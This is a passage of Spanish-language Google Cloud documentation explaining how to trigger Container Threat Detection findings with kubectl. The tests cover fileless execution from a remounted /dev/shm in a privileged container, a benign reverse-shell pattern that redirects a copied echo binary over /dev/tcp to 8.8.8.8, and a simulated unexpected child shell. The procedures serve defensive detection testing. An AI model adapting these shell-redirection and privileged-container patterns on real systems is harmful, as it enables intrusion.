Crea un contenedor con privilegios y abre bash para ejecutar comandos:

Nodo x86:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

Nodo de ARM:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Copia echo en /dev/shm y haz que sea ejecutable con chmod

  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo

Vuelve a colocar el /dev/shm para habilitar la ejecución
```
  mount -o remount,exec /dev/shm
```
Ejecuta echo desde /dev/shm
```
  /dev/shm/echo "Hello from /dev/shm"
```

Este procedimiento de prueba debería crear un hallazgo de Privilege Escalation: Fileless Execution in /dev/shm que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Solo puedes ver los hallazgos en Cloud Logging si activas el nivel Premium o Enterprise de Security Command Center.

Shells inversas

Para activar un resultado de shell inverso, inicia un objeto binario con redireccionamiento stdin a un socket conectado a TCP. En este ejemplo, se copia /bin/echo en /tmp/sh y, luego, se inicia /tmp/sh con redireccionamiento al DNS público de Google 8.8.8.8 en el puerto DNS. No se imprime nada cuando ejecutas este ejemplo. Para evitar cualquier inyección de código externo a través de un ataque de intermediarios (MITM), este ejemplo no usa el binario /bin/sh.

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Inicia un objeto binario con el redireccionamiento /bin/echo para el DNS público de Google:

Nodo x86:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Nodo de ARM:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Esto debería crear una búsqueda de shell inversa que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de hallazgos en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.

Shell secundaria inesperada

Para probar el detector Unexpected Child Shell, puedes crear un árbol de procesos que incluya un proceso de shell secundario.

En el siguiente ejemplo, se crea un árbol de procesos consul->dash, que puede detectar el detector Unexpected Child Shell. Esta prueba es segura porque solo usa archivos binarios integrados. En este ejemplo, se realizan las acciones siguientes:

Crea una copia del proceso sh y la denomina consul.
Copia el proceso echo y lo denomina dash.
Invoca el proceso dash copiado en el proceso consul copiado.

Para activar un hallazgo de Unexpected Child Shell, haz lo siguiente:

Configura las variables de entorno.

Usa Cloud Shell para acceder al plano de control del clúster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Usa el proceso de consul simulado para invocar un shell simulado:

Nodo x86:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Nodo de ARM:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Este procedimiento de prueba crea un resultado Unexpected Child Shell que puedes ver en Security Command Center. Si Logging está configurado para la detección de amenazas a contenedores y tienes activado Security Command Center Premium o Enterprise a nivel de la organización, también puedes ver el resultado en Cloud Logging.

¿Qué sigue?

Obtén más información para usar la detección de amenazas de contenedores.

Probar la detección de amenazas de contenedores Organiza tus páginas con colecciones Guarda y categoriza el contenido según tus preferencias.

Antes de comenzar

Habilita los detectores

Configure las variables de entorno

Se ejecutó el objeto binario agregado

Se cargó la biblioteca agregada

Comando y control: Se detectó una herramienta de esteganografía

Acceso a credenciales: Buscar Google Cloud credenciales

Acceso a credenciales: Reconocimiento de claves GPG

Acceso a las credenciales: Buscar claves privadas o contraseñas

Evasión de defensa: Líneas de comandos de archivos ELF en Base64

Evasión de defensa: Se ejecutó la secuencia de comandos de Python codificada en Base64

Evasión de defensa: Se ejecutó la secuencia de comandos de shell codificada en Base64

Evasión de defensa: Inicia la herramienta de compilador de código en el contenedor

Ejecución: Se ejecutó el objeto binario malicioso agregado

Ejecución: Escape del contenedor

Ejecución: Ejecución sin archivos en /memfd:

Ejecución: Ejecución de la vulnerabilidad de Ingress Nightmare

Ejecución: Ejecución de la herramienta de ataque de Kubernetes

Ejecución: Ejecución de la herramienta de reconocimiento local

Ejecución: Se ejecutó un código malicioso de Python

Ejecución: Se ejecutó un objeto binario malicioso modificado

Ejecución: Ejecución remota de código de Netcat en un contenedor

Ejecución: Se detectó una posible ejecución remota de comandos

Ejecución: Ejecución del programa con entorno de proxy HTTP no permitido

Ejecución: Se cargó un objeto compartido de OpenSSL sospechoso

Exfiltración: Iniciar las herramientas de copia remota de archivos en el contenedor

Impacto: Detect Malicious Cmdlines

Impacto: Quitar datos masivos del disco

Impacto: Actividad de minería de criptomonedas sospechosa con el protocolo Stratum

Secuencia de comandos maliciosa ejecutada

Se detectó una URL maliciosa

Elevación de privilegios: Ejecución sin archivos en /dev/shm

Shells inversas

Shell secundaria inesperada

¿Qué sigue?

Probar la detección de amenazas de contenedores

Ejecución: Ejecución sin archivos en `/memfd:`

Elevación de privilegios: Ejecución sin archivos en `/dev/shm`